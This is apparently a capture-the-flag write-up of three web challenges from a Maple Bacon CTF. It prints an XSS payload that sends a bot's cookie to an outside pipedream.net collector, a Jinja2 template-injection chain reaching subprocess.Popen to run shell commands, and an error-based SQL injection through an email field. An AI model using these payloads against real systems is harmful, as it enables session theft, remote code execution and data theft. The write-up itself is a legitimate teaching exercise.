Aug 30, 2022
Credits to Maple Bacon for writing some great challenges and running an awesome CTF. All the web challenges provided source code which is referenced in the code blocks below.
Haha goose say funny thing
Author: Vie#1231
By looking through the source, the application is running Express and has the following endpoints:
/
: has some interesting cookie logic/changehonk
: sets the honk
cookie to the newhonk
query and honkcount
to 0/report
: calls the Goose, uses PuppeteerLet’s take a quick look at /
:
// app.js
...
app.get('/', (req, res) => {
if (req.cookies.honk){
//construct object
let finalhonk = {};
if (typeof(req.cookies.honk) === 'object'){
finalhonk = req.cookies.honk // no filter to send XSS
} else {
finalhonk = {
message: clean(req.cookies.honk), // filter that seems to prevent XSS from package.json
amountoftimeshonked: req.cookies.honkcount.toString()
};
}
res.send(template(finalhonk.message, finalhonk.amountoftimeshonked)); // render it in HTML
} else { // initialization if there's no cookie called `honk`
const initialhonk = 'HONK';
res.cookie('honk', initialhonk, {
httpOnly: true
});
res.cookie('honkcount', 0, {
httpOnly: true
});
res.redirect('/');
}
});
...
If we have a valid req.cookie.honk
that is typeof object
(with strict equality), it seems we can control the template sent in order to bypass the clean
XSS filter.
But our goal isn’t to steal our own cookie! We want the flag! Looking at goose.js
, we can see the flag is in the cookie stored in the Puppeteer browser (Goose):
// goose.js
...
const FLAG = process.env.FLAG || "maple{fake}";
async function visit(url) {
let browser, page;
return new Promise(async (resolve, reject) => {
try {
browser = await puppeteer.launch({ // create browser
...
});
page = await browser.newPage(); // new page
await page.setCookie({ // set cookie
name: 'flag',
value: FLAG,
domain: 'localhost',
samesite: 'none'
});
await page.goto(url, {waitUntil : 'networkidle2' }).catch(e => console.log(e)); // visits page with browser
...
}
...
}
}
...
So we can use XSS to somehow steal the Goose’s flag cookie. It seems we can do it by sending a POST request through the endpoint /report
:
// app.js
...
app.post('/report', (req, res) => {
const url = req.body.url;
goose.visit(url);
res.send('honk');
});
...
But in order to perform XSS, how do we set the Goose’s honk cookie? Looking at /changehonk
:
// app.js
...
app.get('/changehonk', (req, res) => {
res.cookie('honk', req.query.newhonk, { // sets honk to a query param
httpOnly: true
});
res.cookie('honkcount', 0, {
httpOnly: true
});
res.redirect('/');
});
...
From those pieces of code, we have the following steps:
/changehonk
URL to the Goose to visitnewhonk
query in the URL for the server to change the Goose’s honk
cookiehonk
cookie should be a type objecthonk
cookie renders as XSS and then we steal the flag
cookie!Using this basic payload that redirects an user to a different location while exfiltrating the cookie:
<script>
document.location="https://en8pldcq5oe2x.x.pipedream.net/flag?cookie="%2bdocument.cookie;
</script>
Thinking how finalhonk
should be and sending it directly to the parameter:
http://honksay.ctf.maplebacon.org/changehonk?newhonk={message: "",amountoftimeshonked: "<script>document.location="https://en8pldcq5oe2x.x.pipedream.net/flag?cookie="%2bdocument.cookie;</script>"};
Unfortunately sending in an entire object will be interpreted as a string, which doesn’t pass the typeof(req.cookies.honk) === 'object'
.
In order for the server to interpret it as an object, a neat trick is to add brackets before the equals sign to create the following payload:
http://honksay.ctf.maplebacon.org/changehonk?newhonk[amountoftimeshonked]=<script type="text/javascript">document.location="https://en8pldcq5oe2x.x.pipedream.net/flag?cookie="%2bdocument.cookie;</script>
Flag: maple{g00segoHONK}
My cousin said he once got fired for putting his p\*ckle into the pickle slicer at his old workplace. Can you confirm that it's true for me?*
Note: flag lives on the local filesystem
Author: Disna#0532
Pickles! Given the note, it can be assumed that we need to obtain RCE or shell. The source code is a little hard to read so let’s play around with the application first.
The index page prompts with two inputs:
/create-pickle
Through the imports in app.py
, we can see the application is using Python pickles and Jinja2 as it’s templating engine.
Because Jinja2, a python templating engine is used, we can test using the following JSON for template injection:
{"test": "{{7*7}}"}
And viewing the “pickle”:
b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04test\x94\x8c\x0749\x94s.'
Though it’s a little hard to read, we can see the string was executed as code and returned 49
.
Knowing this, we can go further with Python. Some posts explaining how we can use Python builtins to eventually obtain shell can be found here:
These articles probably explain it better and more in detail but here’s my shortened version of the exploit:
Using builtin types such as strings and __mro__
, __class__
, and __subclasses__
, you can traverse up and down object inheritance tree in Python. You can test parts of the exploit in Python to see how it works.
>>> "" # just a string, can be declared
# ''
Now we can obtain the class object of the string. This can be done with other builtins like lists or ints. In this case we will use a string.
>>> "".__class__
# <class 'str'>
Using the MRO function, we can list all the classes the string inherits. As shown below, the string is both a string and an object.
>>> "".__class__.__mro__
# (<class 'str'>, <class 'object'>)
Access just the object from the tuple.
>>> "".__class__.__mro__[1]
# <class 'object'>
Access classes that inherit object. Returns a huge list of all objects in the environment.
>>> "".__class__.__mro__[1].__subclasses__()
# [<class 'type'>, <class 'weakref'>,
# ...
# <class 'apport.packaging.PackageInfo'>, <class 'gettext.NullTranslations'>]
The object used for shell is in this case is subprocess.Popen
. This is just one example, there are other ways of using builtins and importing os that work as well.
Looking through the list and finding the index of the object, we can call its normal functions and execute code.
>>> ''.__class__.__mro__[1].__subclasses__()[340]('whoami', shell=True, stdout=-1).communicate()[0].strip()
# root
We can use such a payload combined with the JSON to send our exploit. We can run some commands to look around the filesystem, and eventually find flag.log
. This will then render on our page as the flag.
{
"PAYLOAD": "{{''.__class__.__mro__[1].__subclasses__()[340]('cat flag.log', shell=True, stdout=-1).communicate()[0].strip()}}"
}
Flag: maple{he_was_fired_and_so_was_she}
Maple Stores 2 is out! Get it for me pwease
Author: Disna#0532
Let’s start by looking for the flag. It seems to be declared in in the Dockerfile
then stored through init.sql
.
# Dockerfile
...
ENV FLAG="maple{test_flag}"
RUN sed -i "s/FLAGE/$FLAG/g" /init.sql`
...
-- init.sql
...
INSERT INTO books(title, author, price, texts) VALUES('Maple
Stories', 'Maple-Chan', 0, 'FLAGE');
...
So the flag is stored in the texts
column of the table books
. This leads the exploit to be something SQLi related.
Let’s look for where the application takes in user-input. Looking through the Express application, we find the following endpoints in index.js
:
/
: renders index/login
: accepts GET and POST requests, validates username/password/register
: accepts GET and POST requests, validates username/password/logout
: violently destroys the session/books
: renders the user’s owned books/catalogue
: same as books/purchase
: POST request to add book to user then goes to catalogue/download-ebook
: POST request with direct
or kindle
options, validates emailThe validator used is from this package which is applying some string checks for emails, usernames and passwords.
We can find the corresponding SQL commands in db.js
.
We’re not going to focus on all the application’s functionality, but look for queries that have user-controlled input (most likely where there’s SQLi):
// db.js
...
getUser(username, password, callback) {
const query = `
SELECT * FROM users WHERE username = '${username}' AND password = '${password}';
`;
this.db.query(query, (err, user) => {
callback(user);
});
}
...
insertEmail(email, book_id) {
const query = `INSERT INTO requests(email, book_id) VALUES('${email}', '${book_id}');`;
return new Promise((resolve, reject) => {
this.db.query(query, (error) => {
if (error != null) {
reject(error);
} else {
resolve(null);
}
})
})
}
...
It seems we are able to inject with the username
, password
, email
, and book_id
parameters. Some problems arise in validator.js
:
// validator.js
...
function validateUsername(username) {
return validator.isAlphanumeric(username, 'en-US') && username.length > 3 && username.length < 30
}
function validatePassword(password) {
return validator.isAlphanumeric(password, 'en-US') && password.length > 6 && password.length < 30
}
...
A max length of 30 is quite restricting in order to exfiltrate data from a database. There’s an additional book_id
restriction in index.js
that raises an error before the input reaches the query. So our only point is through email
.
Looking at the following query:
INSERT INTO requests(email, book_id) VALUES('${email}', '${book_id}');
Through some manual testing, the isEmail
validator has some small regex requirements for the domain, a @
character, and a length restriction for the username.
Because requests is asking for two parameters, our email query must include an additional parameter to close the query with a valid integer.
Using some fancy quotation and SQL magic, I was able to create the payload that:
#
"',1 and substring((select texts from books where id=1),1,99));#@a.aa
The application returns:
Error: ER_TRUNCATED_WRONG_VALUE: Truncated incorrect DOUBLE value: 'maple{it_was_all_just_maple_leaf}'
The error occurs because of mismatched quotations, but the flag is still retrieved within the parenthesis. The error then graciously gives us the flag:
Flag: maple{it_was_all_just_maple_leaf}